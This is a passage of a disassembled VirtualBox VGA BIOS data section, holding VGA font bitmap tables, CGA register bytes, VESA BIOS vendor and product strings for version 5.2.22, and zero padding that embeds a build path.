000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 0f8h, 000h db 000h, 000h, 000h, 000h, 000h, 0feh, 0cch, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 00eh, 018h, 018h, 018h, 070h, 018h, 018h, 018h, 018h, 00eh, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 018h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 070h, 018h, 018h, 018h, 00eh, 018h, 018h, 018h, 018h, 070h, 000h, 000h, 000h, 000h db 000h, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 00ch, 006h, 07ch, 000h, 000h db 000h, 000h, 0cch, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 00ch, 018h, 030h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 0cch, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 038h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 03ch, 066h, 060h, 060h, 066h, 03ch, 00ch, 006h, 03ch, 000h, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 066h, 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 018h, 03ch, 066h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 0c6h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 038h, 06ch, 038h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 018h, 030h, 060h, 000h, 0feh, 066h, 060h, 07ch, 060h, 060h, 066h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h, 000h, 000h db 000h, 000h, 03eh, 06ch, 0cch, 0cch, 0feh, 0cch, 0cch, 0cch, 0cch, 0ceh, 000h, 000h, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 030h, 078h, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 078h, 000h db 000h, 0c6h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 0c6h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 060h, 0e6h, 0fch, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 066h, 0f3h, 000h, 000h, 000h, 000h db 000h, 00eh, 01bh, 018h, 018h, 018h, 07eh, 018h, 018h, 018h, 018h, 018h, 0d8h, 070h, 000h, 000h db 000h, 018h, 030h, 060h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 00ch, 018h, 030h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 018h, 030h, 060h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 018h, 030h, 060h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 076h, 0dch, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 000h, 000h, 000h db 076h, 0dch, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 030h, 030h, 000h, 030h, 030h, 060h, 0c0h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 006h, 006h, 006h, 006h, 000h, 000h, 000h, 000h, 000h db 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 060h, 0ceh, 09bh, 006h, 00ch, 01fh, 000h, 000h db 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 066h, 0ceh, 096h, 03eh, 006h, 006h, 000h, 000h db 000h, 000h, 018h, 018h, 000h, 018h, 018h, 018h, 03ch, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 036h, 06ch, 0d8h, 06ch, 036h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0d8h, 06ch, 036h, 06ch, 0d8h, 000h, 000h, 000h, 000h, 000h, 000h db 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h db 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah db 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0feh, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h db 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 0d8h, 0d8h, 0d8h, 0dch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 078h, 0cch, 0cch, 0cch, 0d8h, 0cch, 0c6h, 0c6h, 0c6h, 0cch, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 0c6h, 0c6h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 06ch, 06ch, 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0feh, 0c6h, 060h, 030h, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 0d8h, 0d8h, 070h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0c0h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 07eh, 018h, 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 06ch, 06ch, 06ch, 06ch, 0eeh, 000h, 000h, 000h, 000h db 000h, 000h, 01eh, 030h, 018h, 00ch, 03eh, 066h, 066h, 066h, 066h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07eh, 0dbh, 0dbh, 0dbh, 07eh, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 003h, 006h, 07eh, 0dbh, 0dbh, 0f3h, 07eh, 060h, 0c0h, 000h, 000h, 000h, 000h db 000h, 000h, 01ch, 030h, 060h, 060h, 07ch, 060h, 060h, 060h, 030h, 01ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 000h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 00ch, 018h, 030h, 060h, 030h, 018h, 00ch, 000h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 00eh, 01bh, 01bh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h, 0d8h, 070h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 07eh, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 00fh, 00ch, 00ch, 00ch, 00ch, 00ch, 0ech, 06ch, 06ch, 03ch, 01ch, 000h, 000h, 000h, 000h db 000h, 0d8h, 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 070h, 0d8h, 030h, 060h, 0c8h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont14alt: ; 0xc79ed LB 0x12d db 01dh, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 022h db 000h, 063h, 063h, 063h, 022h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02bh, 000h db 000h, 000h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 02dh, 000h, 000h db 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 04dh, 000h, 000h, 0c3h db 0e7h, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h, 000h, 000h, 054h, 000h, 000h, 0ffh, 0dbh db 099h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 056h, 000h, 000h, 0c3h, 0c3h, 0c3h db 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 057h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h db 0dbh, 0dbh, 0ffh, 066h, 066h, 000h, 000h, 000h, 058h, 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h db 03ch, 066h, 0c3h, 0c3h, 000h, 000h, 000h, 059h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h db 018h, 018h, 03ch, 000h, 000h, 000h, 05ah, 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h, 030h, 061h db 0c3h, 0ffh, 000h, 000h, 000h, 06dh, 000h, 000h, 000h, 000h, 000h, 0e6h, 0ffh, 0dbh, 0dbh, 0dbh db 0dbh, 000h, 000h, 000h, 076h, 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h db 000h, 000h, 000h, 077h, 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h db 000h, 000h, 091h, 000h, 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h db 000h, 09bh, 000h, 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h db 09dh, 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 000h, 000h, 000h, 09eh db 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 0f3h, 000h, 000h, 000h, 0f1h, 000h db 000h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h, 000h, 0ffh, 000h, 000h, 000h, 0f6h, 000h, 000h db 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h _vgafont16alt: ; 0xc7b1a LB 0x144 db 01dh, 000h, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h db 000h, 030h, 000h, 000h, 03ch, 066h, 0c3h, 0c3h, 0dbh, 0dbh, 0c3h, 0c3h, 066h, 03ch, 000h, 000h db 000h, 000h, 04dh, 000h, 000h, 0c3h, 0e7h, 0ffh, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h db 000h, 000h, 000h, 054h, 000h, 000h, 0ffh, 0dbh, 099h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch db 000h, 000h, 000h, 000h, 056h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch db 018h, 000h, 000h, 000h, 000h, 057h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh db 066h, 066h, 000h, 000h, 000h, 000h, 058h, 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 03ch db 066h, 0c3h, 0c3h, 000h, 000h, 000h, 000h, 059h, 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h db 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 05ah, 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h db 030h, 060h, 0c1h, 0c3h, 0ffh, 000h, 000h, 000h, 000h, 06dh, 000h, 000h, 000h, 000h, 000h, 0e6h db 0ffh, 0dbh, 0dbh, 0dbh, 0dbh, 0dbh, 000h, 000h, 000h, 000h, 076h, 000h, 000h, 000h, 000h, 000h db 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h, 077h, 000h, 000h, 000h, 000h db 000h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h, 000h, 000h, 000h, 078h, 000h, 000h, 000h db 000h, 000h, 0c3h, 066h, 03ch, 018h, 03ch, 066h, 0c3h, 000h, 000h, 000h, 000h, 091h, 000h, 000h db 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h, 000h, 000h, 09bh, 000h db 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 09dh db 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 09eh, 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 066h, 0f3h, 000h, 000h, 000h db 000h, 0abh, 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 060h, 0ceh, 09bh, 006h, 00ch, 01fh db 000h, 000h, 0ach, 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 066h, 0ceh, 096h, 03eh, 006h db 006h, 000h, 000h, 000h _cga_msr: ; 0xc7c5e LB 0x8 db 02ch, 028h, 02dh, 029h, 02ah, 02eh, 01eh, 029h _vbebios_copyright: ; 0xc7c66 LB 0x15 db 'VirtualBox VESA BIOS', 000h _vbebios_vendor_name: ; 0xc7c7b LB 0x13 db 'Oracle Corporation', 000h _vbebios_product_name: ; 0xc7c8e LB 0x21 db 'Oracle VM VirtualBox VBE Adapter', 000h _vbebios_product_revision: ; 0xc7caf LB 0x24 db 'Oracle VM VirtualBox Version 5.2.22', 000h _vbebios_info_string: ; 0xc7cd3 LB 0x2b db 'VirtualBox VBE Display Adapter enabled', 00dh, 00ah, 00dh, 00ah, 000h _no_vbebios_info_string: ; 0xc7cfe LB 0x29 db 'No VirtualBox VBE support available!', 00dh, 00ah, 00dh, 00ah, 000h ; Padding 0x1 bytes at 0xc7d27 db 001h section CONST progbits vstart=0x7d28 align=1 ; size=0x0 class=DATA group=DGROUP section CONST2 progbits vstart=0x7d28 align=1 ; size=0x0 class=DATA group=DGROUP ; Padding 0x2d8 bytes at 0xc7d28 db 000h, 000h, 000h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 02fh, 068h, 06fh, 06dh, 065h db 02fh, 06dh, 069h, 063h, 068h, 061h, 065h, 06ch, 02fh, 076h, 062h, 06fh, 078h, 02fh, 062h, 072h db 061h, 06eh, 063h, 068h, 065h, 073h, 02fh, 056h, 042h, 06fh, 078h, 02dh, 035h, 02eh, 032h, 02fh db 06fh, 075h, 074h, 02fh, 06ch, 069h, 06eh, 075h, 078h, 02eh, 061h, 06dh, 064h, 036h, 034h, 02fh db 072h, 065h, 06ch, 065h, 061h, 073h, 065h, 02fh, 06fh, 062h, 06ah, 02fh, 056h, 042h, 06fh, 078h db 056h, 067h, 061h, 042h, 069h, 06fh, 073h, 032h, 038h, 036h, 02fh, 056h, 042h, 06fh, 078h, 056h db 067h, 061h, 042h, 069h, 06fh, 073h, 032h, 038h, 036h, 02eh, 073h, 079h, 06dh, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 